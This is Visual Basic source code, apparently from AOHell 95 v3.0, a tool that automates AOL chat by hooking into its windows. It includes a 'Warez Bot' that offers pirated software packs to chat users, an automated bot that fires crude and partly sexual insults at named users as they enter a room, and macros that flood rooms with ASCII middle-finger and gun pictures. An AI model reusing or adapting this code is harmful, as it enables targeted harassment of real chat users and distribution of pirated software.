AOHell 95 v3.0

Sub Form_GotFocus ()
Static i
If i = 1 Then Exit Sub
Call Pause(7)
Unload Me
Form6.Show
i = 1

End Sub

Sub Form_Load ()

init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "EmergencyStart"
Dab11 = init1.Value

If Dab11 = "yes" Then
  Unload Me
  main.Show
  Exit Sub
Else
  GoTo proc
End If

proc:

init1.Filename = "aohell.ini"
init1.Application = "Options"
init1.Parameter = "Intro"
Dab10 = init1.Value

If Dab10 = "yes" Then
GoTo Proceed1
Else
Form6.Show
Unload Me
Exit Sub
End If

Proceed1:

intro.MousePointer = 11

cspicture1.Picture = "aoh.bin"
Dim Success As Integer

Success% = SetWindowPos%(intro.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)

Move (Screen.Width - Width) \ 2, (Screen.Height - Height) \ 2

End Sub

Sub Command3D1_Click ()
MsgBox "please"

End Sub

Sub Form_Load ()
Dim Success As Integer

Success% = SetWindowPos%(DupeKill.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)

End Sub

  Sub Command3D1_Click ()
    If Option3D8.Value = True Then
      If Text1.Text = "" Or Text2.Text = "" Then
        MsgBox "You have not completely filled out this form."
        Exit Sub
      End If
      If Option3D1.Value = True And Text3.Text = "" Then
        MsgBox "You must enter how many warez you want it to send"
        Exit Sub
      End If

      TriggerWord = Text1.Text
      TriggerWordSp = TriggerWord

      GoTo Beg2

Err2:
      MsgBox "Must enter a number for the time limit!"
      Exit Sub

Beg2:
      On Error GoTo Err2

      TimeLimit = Text2.Text
      TimeLimit2 = TimeLimit

      NWarez = Text3.Text

      If Option3D1.Value = True Then DoMM = 1
      If Option3D2.Value = True Then DoMM = 2
      If Option3D3.Value = True Then NotifyRoom = 1
      If Option3D4.Value = True Then NotifyRoom = 2
      If Option3D5.Value = True Then NotifyRoom = 5
      NotifyRoom2 = NotifyRoom
      ListStatus.Show
      WarezBot.Hide
    End If

    If Option3D7.Value = True Then
      PTime = Text14.Text
      PTime1 = PTime
      If Check3D1.Value = False Then
        MsgBox "You must offer at least 1 pack to use the Pack Offer portion of this bot!  PLEASE click the HELP button NOW to learn how to use this thing!"
        Exit Sub
      End If
      If Check3D5.Value = True And Check3D4.Value = False Then
        MsgBox "You can't offer Pack 5 if you haven't offered the packs before it!"
        Exit Sub
      End If
      If Check3D4.Value = True And Check3D3.Value = False Then
        MsgBox "You can't offer Pack 4 if you haven't offered the packs before it!"
        Exit Sub
      End If
      If Check3D3.Value = True And Check3D2.Value = False Then
        MsgBox "You can't offer Pack 3 if you haven't offered the packs before it!"
        Exit Sub
      End If

      If Check3D2.Value = True Then Pk2 = 1 Else Pk2 = 0
      If Check3D3.Value = True Then Pk3 = 1 Else Pk3 = 0
      If Check3D4.Value = True Then Pk4 = 1 Else Pk4 = 0
      If Check3D5.Value = True Then Pk5 = 1 Else Pk5 = 0
      P1D = Text4.Text
      P2D = Text6.Text
      P3D = Text7.Text
      P4D = Text8.Text
      P5D = Text9.Text
      P1F = Text5.Text
      P2F = Text10.Text
      P3F = Text11.Text
      P4F = Text12.Text
      P5F = Text13.Text
      LeechLimit = Text15.Text

      If LeechLimit <= 0 Or LeechLimit > 5 Then
        MsgBox "You must enter a number between 1 and 5 for the Leech Limit!"
        Exit Sub
      End If

      If Option3D6.Value = True Then PackNotify = 2
      If Option3D9.Value = True Then PackNotify = 5
      If Option3D10.Value = True Then PackNotify = 10
      If Option3D11.Value = True Then PackNotify = 600
      PackNotify1 = PackNotify
      GoTo stu

Errstu:
      Exit Sub

stu:
      On Error GoTo Errstu

      WarezBot.Hide
      PackStatus.Show
    End If

  End Sub

  Sub Command3D2_Click ()
    GoTo Begin1

titfuck1:
    Close #1
    Exit Sub

Begin1:
  On Error GoTo titfuck1

  'CMDialog1.DialogTitle = "Open AI Bot Settings File"
    CMDialog1.Action = 1

    xfilnam$ = CMDialog1.Filename

    Open xfilnam$ For Input As #1
    Input #1, Tex1, Tex2, Tex3, Tex4, Tex5, Tex6, Tex7, Tex8, Tex9, Tex10, Tex11, Tex12, Tex13, Tex14, Check1, Check2, Check3, Check4, Check5, Option1, Option2, Option3, Option4, Option5, Option6, Option7, Option8, Option9, Option10, Tex15
    Close #1

    Text1.Text = Tex1
    Text2.Text = Tex2
    Text3.Text = Tex3
    Text4.Text = Tex4
    Text5.Text = Tex5
    Text6.Text = Tex6
    Text7.Text = Tex7
    Text8.Text = Tex8
    Text9.Text = Tex9
    Text10.Text = Tex10
    Text11.Text = Tex11
    Text12.Text = Tex12
    Text13.Text = Tex13
    Text14.Text = Tex14
    Text15.Text = Tex15

    If Check1 = 1 Then Check3D1.Value = True
    If Check2 = 1 Then Check3D2.Value = True
    If Check3 = 1 Then Check3D3.Value = True
    If Check4 = 1 Then Check3D4.Value = True
    If Check5 = 1 Then Check3D5.Value = True

    If Option1 = 1 Then Option3D1.Value = True
    If Option2 = 1 Then Option3D2.Value = True
    If Option3 = 1 Then Option3D3.Value = True
    If Option4 = 1 Then Option3D4.Value = True
    If Option5 = 1 Then Option3D5.Value = True
    If Option6 = 1 Then Option3D8.Value = True
    If Option7 = 1 Then Option3D7.Value = True
    If Option8 = 1 Then Option3D6.Value = True
    If Option9 = 1 Then Option3D9.Value = True
    If Option10 = 1 Then Option3D10.Value = True

  End Sub

  Sub Command3D3_Click ()
    GoTo begin2

titfuck2:
    Exit Sub

begin2:
    On Error GoTo titfuck2

    CMDialog1.Action = 2
    Shit = CMDialog1.Filetitle
    xfilnam$ = CMDialog1.Filename
    If Check3D1.Value = True Then Check1 = 1
    If Check3D2.Value = True Then Check2 = 1
    If Check3D3.Value = True Then Check3 = 1
    If Check3D4.Value = True Then Check4 = 1
    If Check3D5.Value = True Then Check5 = 1
    If Option3D1.Value = True Then Option1 = 1
    If Option3D2.Value = True Then Option2 = 1
    If Option3D3.Value = True Then Option3 = 1
    If Option3D4.Value = True Then Option4 = 1
    If Option3D5.Value = True Then Option5 = 1
    If Option3D8.Value = True Then Option6 = 1
    If Option3D7.Value = True Then Option7 = 1
    If Option3D6.Value = True Then Option8 = 1
    If Option3D9.Value = True Then Option9 = 1
    If Option3D10.Value = True Then Option10 = 1
    Tex1 = Text1.Text
    Tex2 = Text2.Text
    Tex3 = Text3.Text
    Tex4 = Text4.Text
    Tex5 = Text5.Text
    Tex6 = Text6.Text
    Tex7 = Text7.Text
    Tex8 = Text8.Text
    Tex9 = Text9.Text
    Tex10 = Text10.Text
    Tex11 = Text11.Text
    Tex12 = Text12.Text
    Tex13 = Text13.Text
    Tex14 = Text14.Text
    Tex15 = Text15.Text

    Open xfilnam$ For Output As 1
    Write #1, Tex1, Tex2, Tex3, Tex4, Tex5, Tex6, Tex7, Tex8, Tex9, Tex10, Tex11, Tex12, Tex13, Tex14, Check1, Check2, Check3, Check4, Check5, Option1, Option2, Option3, Option4, Option5, Option6, Option7, Option8, Option9, Option10, Tex15
    Close #1

  End Sub

  Sub Command3D4_Click ()
    SendKeys "{F1}"

  End Sub

Sub Command3D5_Click ()
MMCom.Show
WarezBot.Hide

End Sub

  Sub Form_Load ()

    If AIStatus = 1 Then
      MsgBox "The AI Bot is still active.  You cannot use the Warez Bot with the AI Bot still running.  Please bring up the AI Bot window and choose ""Unload AI Bot"", then try again.", 16, "AI Bot Still Active"
      Unload Me
      Exit Sub
    End If

    Dim Success As Integer

    Success% = SetWindowPos%(WarezBot.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)

  End Sub

  Sub Option3D1_Click (Value As Integer)
    If Option3D1.Value = True Then
    '  Label5.Enabled = True
      Text3.Enabled = True
    End If

  End Sub

  Sub Option3D2_Click (Value As Integer)
    If Option3D1.Value = False Then
   '   Label5.Enabled = False
      Text3.Enabled = False
    End If

  End Sub

  Sub Option3D7_Click (Value As Integer)
    If Option3D7.Value = True Then
      Frame3D1.Enabled = False
      Frame3D3.Enabled = True
    End If

  End Sub

  Sub Option3D8_Click (Value As Integer)
    If Option3D7.Value = False Then
      Frame3D1.Enabled = True
      Frame3D3.Enabled = False
    End If

  End Sub

Sub command3d1_click ()
LT1 = MiddleMac(IsDil)

End Sub

Sub Command3D1_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)
ss.Caption = "Scroll an ASCII picture of a middle finger"

End Sub

Sub Command3D2_Click ()
dice.Show
'Unload annoy

End Sub

Sub Command3D2_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)
ss.Caption = "Scrolls dice throws"
End Sub

Sub Command3D3_Click ()
If SignStatus = 0 Then
MsgBox "You must be signed on to AOL before you can use this feature!", 16, "Not Signed On!"
Exit Sub
End If

DriveH.Show

End Sub

Sub Command3D3_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)
ss.Caption = "The new *working* Drive Hell"

End Sub

Sub Command3D4_Click ()
form7.Show
DoEvents

'Unload annoy

End Sub

Sub Command3D4_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)
ss.Caption = "Scrolls an ascii picture of a gun pointing at someone"

End Sub

Sub Command3D5_Click ()
If SignStatus = 0 Then
MsgBox "You must be signed on to AOL before you can use this feature!", 16, "Not Signed On!"
Exit Sub
End If
   insults.Show

End Sub

Sub Command3D5_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)
ss.Caption = "Insults: Yo Momma snaps and more.."

End Sub

Sub Command3D6_Click ()
form3.Show
'Unload annoy

End Sub

Sub Command3D6_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)
ss.Caption = "Scroll up to 3 different lines over and over"

End Sub

Sub Command3D7_Click ()
LT1 = Flame(IsDil)
End Sub

Sub Command3D7_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)
ss.Caption = "Flame macro"

End Sub

Sub Command3D8_Click ()
 LT1 = BRB(IsDil)
End Sub

Sub Command3D8_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)
ss.Caption = "Gotta take a shit...brb -- Macro"

End Sub

Sub Form_Load ()
Dim Success As Integer

Success% = SetWindowPos%(annoy.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)
ss.Caption = cryptname

End Sub

Sub Form_MouseMove (Button As Integer, Shift As Integer, X As Single, Y As Single)
ss.Caption = cryptname
End Sub

  Sub Check3D10_Click (Value As Integer)
    If Check3D10.Value = True Then MsgBox "Note: You must have the ""Notify Me When Members Leave"" box *checked* on your AOL chat preferences for this to work."

  End Sub

  Sub Check3D14_Click (Value As Integer)
    If Check3D14.Value = True Then MsgBox "Note: You must have the ""Notify Me When Members Arrive"" box *checked* on your AOL chat preferences for this to work."

  End Sub

  Sub Check3D7_Click (Value As Integer)

  'If Check3D7.Value = True Then
  'MsgBox "Sorry, this event is not ready.  It will be available in an upcoming beta version.", 64, "AI Bot" ' "Note: You must have the ""Notify Me When Members Arrive"" box *checked* on your AOL chat preferences for this to work."
  'Check3D7.Value = False
  'End If

  End Sub

  Sub Check3D8_Click (Value As Integer)

    If Check3D8.Value = True Then MsgBox "Note: You must have the ""Notify Me When Members Leave"" box *checked* on your AOL chat preferences for this to work."

  End Sub

  Sub Check3D9_Click (Value As Integer)
    If Check3D9.Value = True Then MsgBox "Note: You must have the ""Notify Me When Members Arrive"" box *checked* on your AOL chat preferences for this to work."

  End Sub

  Sub Command3D1_Click ()
    MessageNum = 1
    Action.Show

  End Sub

  Sub Command3D1_GotFocus ()
    Command3D1.FontBold = True

  End Sub

  Sub Command3D1_LostFocus ()
    Command3D1.FontBold = False

  End Sub

  Sub Command3D10_Click ()
    Message7 = InputBox$("Please enter the persons Screen Name.", "Screen Name")

    Message7Sp = Message7

  End Sub

  Sub Command3D10_GotFocus ()
    Command3D10.FontBold = True

  End Sub

  Sub Command3D10_LostFocus ()
    Command3D10.FontBold = False

  End Sub

  Sub Command3D11_Click ()
    MessageNum = 8
    Action.Show

  End Sub

  Sub Command3D11_GotFocus ()
    Command3D11.FontBold = True

  End Sub

  Sub Command3D11_LostFocus ()
    Command3D11.FontBold = False

  End Sub

  Sub Command3D12_Click ()
    Person2 = InputBox$("Please enter the persons Screen Name.", "Screen Name")

    Person2Sp = Person2

  End Sub

  Sub Command3D12_GotFocus ()
    Command3D12.FontBold = True

  End Sub

  Sub Command3D12_LostFocus ()
    Command3D12.FontBold = False

  End Sub

  Sub Command3D13_Click ()
    MessageNum = 9
    Action.Show

  End Sub

  Sub Command3D13_GotFocus ()
    Command3D13.FontBold = True

  End Sub

  Sub Command3D13_LostFocus ()
    Command3D13.FontBold = False

  End Sub

  Sub Command3D14_Click ()
    Person3 = InputBox$("Please enter the persons Screen Name.", "Screen Name")

    Person3Sp = Person3

  End Sub

  Sub Command3D14_GotFocus ()
    Command3D14.FontBold = True

  End Sub

  Sub Command3D14_LostFocus ()
    Command3D14.FontBold = False

  End Sub

  Sub Command3D15_Click ()
    MessageNum = 10
    Action.Show

  End Sub

  Sub Command3D15_GotFocus ()
    Command3D15.FontBold = True

  End Sub

  Sub Command3D15_LostFocus ()
    Command3D15.FontBold = False

  End Sub

  Sub Command3D16_Click ()
    Person4 = InputBox$("Please enter the persons Screen Name.", "Screen Name")

    Person4Sp = Person4

  End Sub

  Sub Command3D16_GotFocus ()
    Command3D16.FontBold = True

  End Sub

  Sub Command3D16_LostFocus ()
    Command3D16.FontBold = False

  End Sub

  Sub Command3D17_Click ()
    Word3 = InputBox$("Please enter the word, or words.", "Key Words")

    Word3Sp = Word3

  End Sub

  Sub Command3D17_GotFocus ()
    Command3D17.FontBold = True

  End Sub

  Sub Command3D17_LostFocus ()
    Command3D17.FontBold = False

  End Sub

  Sub Command3D18_Click ()
    Person5 = InputBox$("Please enter the persons Screen Name.", "Screen Name")

    Person5Sp = Person5

  End Sub

  Sub Command3D18_GotFocus ()
    Command3D18.FontBold = True

  End Sub

  Sub Command3D18_LostFocus ()
    Command3D18.FontBold = False

  End Sub

  Sub Command3D19_Click ()
    Timer2.Enabled = True
    Timer1.Enabled = False
    Command3D2.Visible = True
    AIBot.Hide

  End Sub

  Sub Command3D2_Click ()
    Person1 = InputBox$("Please enter the persons Screen Name.", "Screen Name")

    Person1Sp = Person1

  End Sub

  Sub Command3D2_GotFocus ()
    Command3D2.FontBold = True

  End Sub

  Sub Command3D2_LostFocus ()
    Command3D2.FontBold = False

  End Sub

  Sub Command3D20_Click ()
    SendKeys "{F1}"
    DoEvents

  End Sub

  Sub Command3D21_Click ()
    GoTo Begin1

titfuck1:
    Exit Sub

Begin1:
    On Error GoTo titfuck1

    CMDialog1.DialogTitle = "Open AI Bot Settings File"
    CMDialog1.Action = 1

    xfilnam$ = CMDialog1.Filename

    Open xfilnam$ For Input As #1

    Input #1, Check1, Check2, Check3, Check4, Check5, Check6, Check7, Check8, Check9, Check10, Check11, Check12, Check13, Check14, Check15, Check16, Check17, Check18, Check19, Check20, Check21, Message1Sp, Message2Sp, Message3Sp, Message4Sp, Message5Sp, Message6Sp, Message7Sp, Message8Sp, Message9Sp, Message10Sp, Person1Sp, Person2Sp, Person3Sp, Person4Sp, Word1Sp, Word2Sp, Word3Sp, Word4Sp, Event1, Event2, Event3, Event4, Event5, Event6, Event7, Event8, Event9, Event10, SendTo1, SendTo2, SendTo3, SendTo4, SendTo5, SendTo6, SendTo7, SendTo8, SendTo9, SendTo10, MSubject1, MSubject2, MSubject3, MSubject4, MSubject5, MSubject6, MSubsect7, MSubject8, MSubject9, MSubject10, MMessage1, MMessage2, MMessage3, MMessage4, MMessage5, MMessage6, MMessage7, MMessage8, MMessage9, MMessage10, IMTo1, IMTo2, IMTo3, IMTo4, IMTo5, IMTo6, IMTo7, IMTo8, IMTo9, IMTo10, IMess1, IMess2, IMess3, IMess4, IMess5, IMess6, IMess7, IMess8, IMess9, IMess10, RName1, RName2, RName3, RName4, RName5, RName6, RName7, RName8, RName9, RName10
    Close #1

    If Check1 = "1" Then
      Check3D1.Value = True
    Else
      Check3D1.Value = False
    End If
    If Check2 = "1" Then
      Check3D2.Value = True
    Else
      Check3D2.Value = False
    End If
    If Check3 = "1" Then
      Check3D3.Value = True
    Else
      Check3D3.Value = False
    End If
    If Check4 = "1" Then
      Check3D4.Value = True
    Else
      Check3D4.Value = False
    End If
    If Check5 = "1" Then
      Check3D5.Value = True
    Else
      Check3D5.Value = False
    End If
    If Check6 = "1" Then
      Check3D6.Value = True
    Else
      Check3D6.Value = False
    End If
    If Check7 = "1" Then
      Check3D7.Value = True
    Else
      Check3D7.Value = False
    End If
    If Check8 = "1" Then
      Check3D8.Value = True
    Else
      Check3D8.Value = False
    End If
    If Check9 = "1" Then
      Check3D9.Value = True
    Else
      Check3D9.Value = False
    End If
    If Check10 = "1" Then
      Check3D10.Value = True
    Else
      Check3D10.Value = False
    End If
    If Check11 = "1" Then
      Check3D11.Value = True
    Else
      Check3D11.Value = False
    End If
    If Check12 = "1" Then
      Check3D12.Value = True
    Else
      Check3D12.Value = False
    End If
    If Check13 = "1" Then
      Check3D13.Value = True
    Else
      Check3D13.Value = False
    End If
    If Check14 = "1" Then
      Check3D14.Value = True
    Else
      Check3D14.Value = False
    End If
    If Check15 = "1" Then
      Check3D15.Value = True
    Else
      Check3D15.Value = False
    End If
    If Check16 = "1" Then
      Check3D16.Value = True
    Else
      Check3D16.Value = False
    End If
    If Check17 = "1" Then
      Check3D17.Value = True
    Else
      Check3D17.Value = False
    End If
    If Check18 = "1" Then
      Check3D18.Value = True
    Else
      Check3D18.Value = False
    End If
    If Check19 = "1" Then
      Check3D19.Value = True
    Else
      Check3D19.Value = False
    End If
    If Check20 = "1" Then
      Check3D20.Value = True
    Else
      Check3D20.Value = False
    End If

  End Sub

  Sub Command3D22_Click ()
    GoTo begin2

titfuck2:
    Exit Sub

begin2:

    If Check3D1.Value = True Then
      Check1 = "1"
    Else
      Check1 = "0"
    End If
    If Check3D2.Value = True Then
      Check2 = "1"
    Else
      Check2 = "0"
    End If
    If Check3D3.Value = True Then
      Check3 = "1"
    Else
      Check3 = "0"
    End If
    If Check3D4.Value = True Then
      Check4 = "1"
    Else
      Check4 = "0"
    End If
    If Check3D5.Value = True Then
      Check5 = "1"
    Else
      Check5 = "0"
    End If
    If Check3D6.Value = True Then
      Check6 = "1"
    Else
      Check6 = "0"
    End If
    If Check3D7.Value = True Then
      Check7 = "1"
    Else
      Check7 = "0"
    End If
    If Check3D8.Value = True Then
      Check8 = "1"
    Else
      Check8 = "0"
    End If
    If Check3D9.Value = True Then
      Check9 = "1"
    Else
      Check9 = "0"
    End If
    If Check3D10.Value = True Then
      Check10 = "1"
    Else
      Check10 = "0"
    End If
    If Check3D11.Value = True Then
      Check11 = "1"
    Else
      Check11 = "0"
    End If
    If Check3D12.Value = True Then
      Check12 = "1"
    Else
      Check12 = "0"
    End If
    If Check3D13.Value = True Then
      Check13 = "1"
    Else
      Check13 = "0"
    End If
    If Check3D14.Value = True Then
      Check14 = "1"
    Else
      Check14 = "0"
    End If
    If Check3D15.Value = True Then
      Check15 = "1"
    Else
      Check15 = "0"
    End If
    If Check3D16.Value = True Then
      Check16 = "1"
    Else
      Check16 = "0"
    End If
    If Check3D17.Value = True Then
      Check17 = "1"
    Else
      Check17 = "0"
    End If
    If Check3D18.Value = True Then
      Check18 = "1"
    Else
      Check18 = "0"
    End If
    If Check3D19.Value = True Then
      Check19 = "1"
    Else
      Check19 = "0"
    End If
    If Check3D20.Value = True Then
      Check20 = "1"
    Else
      Check20 = "0"
    End If
    If Check3D21.Value = True Then
      Check21 = "1"
    Else
      Check21 = "0"
    End If

    On Error GoTo titfuck2

    CMDialog1.DialogTitle = "Save AI Bot Settings File"
    CMDialog1.Action = 2

    xfilnam$ = CMDialog1.Filename

    Open xfilnam$ For Output As #1
    Write #1, Check1, Check2, Check3, Check4, Check5, Check6, Check7, Check8, Check9, Check10, Check11, Check12, Check13, Check14, Check15, Check16, Check17, Check18, Check19, Check20, Check21, Message1Sp, Message2Sp, Message3Sp, Message4Sp, Message5Sp, Message6Sp, Message7Sp, Message8Sp, Message9Sp, Message10Sp, Person1Sp, Person2Sp, Person3Sp, Person4Sp, Word1Sp, Word2Sp, Word3Sp, Word4Sp, Event1, Event2, Event3, Event4, Event5, Event6, Event7, Event8, Event9, Event10, SendTo1, SendTo2, SendTo3, SendTo4, SendTo5, SendTo6, SendTo7, SendTo8, SendTo9, SendTo10, MSubject1, MSubject2, MSubject3, MSubject4, MSubject5, MSubject6, MSubsect7, MSubject8, MSubject9, MSubject10, MMessage1, MMessage2, MMessage3, MMessage4, MMessage5, MMessage6, MMessage7, MMessage8, MMessage9, MMessage10, IMTo1, IMTo2, IMTo3, IMTo4, IMTo5, IMTo6, IMTo7, IMTo8, IMTo9, IMTo10, IMess1, IMess2, IMess3, IMess4, IMess5, IMess6, IMess7, IMess8, IMess9, IMess10, RName1, RName2, RName3, RName4, RName5, RName6, RName7, RName8, RName9, RName10

    Close #1

  End Sub

  Sub Command3D23_Click ()
    Unload Me

  End Sub

  Sub Command3D3_Click ()
    Word1 = InputBox$("Please enter the word, or words.", "Key Words")

    Word1Sp = Word1

  End Sub

  Sub Command3D3_GotFocus ()
    Command3D3.FontBold = True

  End Sub

  Sub Command3D3_LostFocus ()
    Command3D3.FontBold = False

  End Sub

  Sub Command3D4_Click ()
    MessageNum = 2
    Action.Show

  End Sub

  Sub Command3D4_GotFocus ()
    Command3D4.FontBold = True

  End Sub

  Sub Command3D4_LostFocus ()
    Command3D4.FontBold = False

  End Sub

  Sub Command3D5_Click ()
    MessageNum = 3
    Action.Show

  End Sub

  Sub Command3D5_GotFocus ()
    Command3D5.FontBold = True

  End Sub

  Sub Command3D5_LostFocus ()
    Command3D19.FontBold = False

  End Sub

  Sub Command3D6_Click ()
    MessageNum = 4
    Action.Show

  End Sub

  Sub Command3D6_GotFocus ()
    Command3D6.FontBold = True

  End Sub

  Sub Command3D6_LostFocus ()
    Command3D6.FontBold = False

  End Sub

  Sub Command3D7_Click ()
    MessageNum = 5
    Action.Show
    Action.Label2.Caption = "Put in {SN} in the message to tell AOHell to insert the person's name who entered the room."
    Action.Command3D3.Visible = False
    Action.Command3D4.Visible = False

  End Sub

  Sub Command3D7_GotFocus ()
    Command3D7.FontBold = True

  End Sub

  Sub Command3D7_LostFocus ()
    Command3D7.FontBold = False

  End Sub

  Sub Command3D8_Click ()
    Word2 = InputBox$("Please enter the word, or words.", "Key Words")

    Word2Sp = Word2

  End Sub

  Sub Command3D8_GotFocus ()
    Command3D8.FontBold = True

  End Sub

  Sub Command3D8_LostFocus ()
    Command3D8.FontBold = False

  End Sub

  Sub Command3D9_Click ()
    MessageNum = 6
    Action.Show

  End Sub

  Sub Command3D9_GotFocus ()
    Command3D9.FontBold = True

  End Sub

  Sub Command3D9_LostFocus ()
    Command3D9.FontBold = False

  End Sub

  Sub Form_Load ()
    If AIStatus = 11 Then
      MsgBox "The Multi-Task Chat Room is still active.  You cannot use the AI Bot with the Multi-Task Chat Room still running.  Please close the MT Chat Room and try again.", 16, "MT Chat Room Still Active"
      Unload Me
      Exit Sub
    End If
    If AIStatus = 12 Then
      MsgBox "The Warez Bot is still active.  You cannot use the AI Bot with the Warez Bot still running.  Please stop the Warez Bot and try again.", 16, "Warez Bot Still Active"
      Unload Me
      Exit Sub
    End If

    AIStatus = 1

    Dim Success As Integer

    Success% = SetWindowPos%(AIBot.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)
    GoTo AIBeg

AIErr:
    MsgBox "An error has occured while trying to start the bot.  Please close that Chat Room window, then re-enter the room you are in.  You may then try again.    NOTE: If you have the Warez Bot or Multi-Task Chat Room running, it will cause this error.", 48, "Can't Get Window Lock"
    Unload Me
    Exit Sub

AIBeg:
    On Error GoTo AIErr

  'MsgBox "AOHell needs to get a lock on the chat room window now.  Please click the chat room with the mouse, so it is the top AOL window.  Then hit the OK button to this message.", 64, "Chat Window Lock"

  'thiswin% = FindWindow(0, "America  Online")

    bac = Chr$(13)
    jojo4 = "List" + bac + "Rooms"
    thiswin% = FindWindow(0, "America  Online")
    RoomIcon = FindChildByTitle(thiswin%, jojo4)
    DaRoom = GetParent(RoomIcon)
    If DaRoom = 0 Then
      MsgBox "You must be in a room before you can use this!", 16, "Not In a Room"
      Unload Me
      Exit Sub
    End If

    find% = FindChildByClass(DaRoom, "_AOL_View")
    find1% = FindChildByClass(DaRoom, "_AOL_Edit")
    find2% = FindChildByTitle(DaRoom, "Send")

    AOLViewHandle = find%
    AOLSendHandle = find2%
    AOLEditHandle = find1%

    VBMsg2.SubClasshWnd = find1%
    VBMsg1.SubClasshWnd = find2%
    VBMsg4.SubClasshWnd = AOLViewHandle
    Timer2.Enabled = False
    Timer1.Enabled = True

  End Sub

  Sub Form_Resize ()
    Dim Success As Integer

    Success% = SetWindowPos%(AIBot.hWnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)

  End Sub

  Sub Form_Unload (Cancel As Integer)
    If AIStatus = 1 Then AIStatus = 0
    VBMsg1.SubClasshWnd = 0
    VBMsg2.SubClasshWnd = 0
    VBMsg3.SubClasshWnd = 0

  End Sub

  Sub Label1_Click ()
    If Check3D2.Value = False Then
      Check3D2.Value = True
    Else
      Check3D2.Value = False
    End If

  End Sub

  Sub Label2_Click ()
    If Check3D2.Value = False Then
      Check3D2.Value = True
    Else
      Check3D2.Value = False
    End If

  End Sub

  Sub Timer1_Timer ()
    Text1.Text = ChatLine
  End Sub

  Sub Timer2_Timer ()
    If DoGo = 1 Then GoTo Startup

Err2:
    Exit Sub

Startup:
    On Error GoTo Err2
    DoEvents
    DoGo = 0

   ' ChatLine = Trim$(ChatLine)
   ' ChatLine = Mid$(ChatLine, 3)
    ChatLineSp = ChatLine
    chat6 = ChatLine
    DoEvents

    colon = ":"

    l% = InStr(1, chat6, colon)
    If l% > 0 Then

      l% = l% - 1
    Else l% = 1
    End If

    SN = Mid$(chat6, 1, l%)
  ' text2.Text = SN
    ChatName = SN
    ChatNameSp = SN
    SaidChat1 = 1

 DoEvents

    If ChatLine = LastChat Then Exit Sub

    thiswin% = FindWindow(0, "America  Online")

    Destroy1 = FindChildByClass(thiswin%, "_AOL_Listbox")

    If Destroy1 = 0 Then
      MsgBox "AOHell has detected that the AOL chat window has been closed.  ..Shutting down AI Bot", 64, "Room Closed"
      Destroyed = 0
      Unload AIBot
      Exit Sub
    End If

    ChatLine = UCase$(ChatLine)

    If ChatLine = LastChat Then

      Exit Sub

    Else

      If Event1 = 7 Or Event2 = 7 Or Event3 = 7 Or Event4 = 7 Or Event6 = 7 Or Event7 = 7 Or Event8 = 7 Or Event9 = 7 Or Event10 = 7 Then
        ChatNameSp1 = ChatNameSp
        If Check3D5.Value = True Then
          HCame1 = InStr(ChatLineSp, ":")
          HCame2 = HCame1 + 2
          ThisWeird = InStr(ChatLineSp, "has entered")
          ThisWeird = ThisWeird - 2
          HCame3 = Mid$(ChatLineSp, HCame2, ThisWeird)
          HCame4 = InStr(HCame3, "has entered")
          HCame5 = HCame4 - 2
          HCame6 = Mid$(HCame3, 1, HCame5)
          ChatNameSp1 = HCame6
        End If

        YMS1 = ChatNameSp1 + ", Yo momma's so poor, she goes to KFC and licks other people's fingers!"
        YMS2 = ChatNameSp1 + ", Yo momma's so stupid, it takes her an hour to cook minute rice!"
        YMS3 = ChatNameSp1 + ", Yo momma's so fat, she uses a VCR for a pager!"
        YMS4 = ChatNameSp1 + ", Yo momma's so fat, she's protected by Green Peace!"
        YMS5 = ChatNameSp1 + ", Yo momma's so ugly, when she walks into Taco Bell everyone runs for the border!"
        YMS6 = ChatNameSp1 + ", Yo momma's so fat, I saw the back of her neck and thought I was in a library!"
        YMS7 = ChatNameSp1 + ", Yo momma's so stupid, she gave your uncle a blowjob to help his unemployment!"
        YMS8 = ChatNameSp1 + ", Yo momma's so stupid, she tripped over her cordless phone!"
        YMS9 = ChatNameSp1 + ", Yo momma's so short, she gotta cuff her panties!"
        YMS10 = ChatNameSp1 + ", Yo momma's so fat she on both sides of the family!"
        YMS11 = ChatNameSp1 + ", Yo momma's so ugly she had to go trick or treatin' over the phone!"
        YMS12 = ChatNameSp1 + ", Yo momma stink so bad she used Secret and it told!"
        YMS13 = ChatNameSp1 + ", Yo momma's so nasty I had phone sex with her and she gave me an ear infection"
        YMS14 = ChatNameSp1 + ", Yo momma's so fat she got to take her pants off to get her change!"
        YMS15 = ChatNameSp1 + ", Yo momma's is like a door knob, everyone gets a turn!"
        YMS16 = ChatNameSp1 + ", Yo momma stink so bad she used Sure and it got confused!"
        YMS17 = ChatNameSp1 + ", Yo momma's teeth so yellow when she simles you got to slow down!"
        YMS18 = ChatNameSp1 + ", Yo momma's so fat she got more chins than a Chinese telephone book!"
        YMS19 = ChatNameSp1 + ", Yo momma's so fat her blood type is Ragu!"
        YMS20 = ChatNameSp1 + ", Yo momma's so hairy, big foot took a picture of her!"
        YMS21 = ChatNameSp1 + ", Yo momma's so tall she did a cartwheel and kicked god in the chin!"
        YMS22 = ChatNameSp1 + ", Yo momma's so stupid she thought denial was a river in Egypt!"
        YMS23 = ChatNameSp1 + ", Yo momma's so stupid she got stabbed in a gun fight!"
        YMS24 = ChatNameSp1 + ", Yo momma's so old her Social Security Number is 1"
        YMS25 = ChatNameSp1 + ", Yo momma's so stupid she went to the movies with 16 other PPL because she thought under 17 not admitted!"
        YMS26 = ChatNameSp1 + ", Yo momma stink so bad she made Right Guard turn left!"
        YMS27 = ChatNameSp1 + ", Yo momma's like a video game, 3 Men for a quarter!"
        YMS28 = ChatNameSp1 + ", Yo momma's so fat she jumped for joy and got stuck!"
        YMS29 = ChatNameSp1 + ", Yo momma gums so black she spits out YooHoo!"
        YMS30 = ChatNameSp1 + ", Yo momma's teeth so yellow ""I can't believe it's not butter!"""
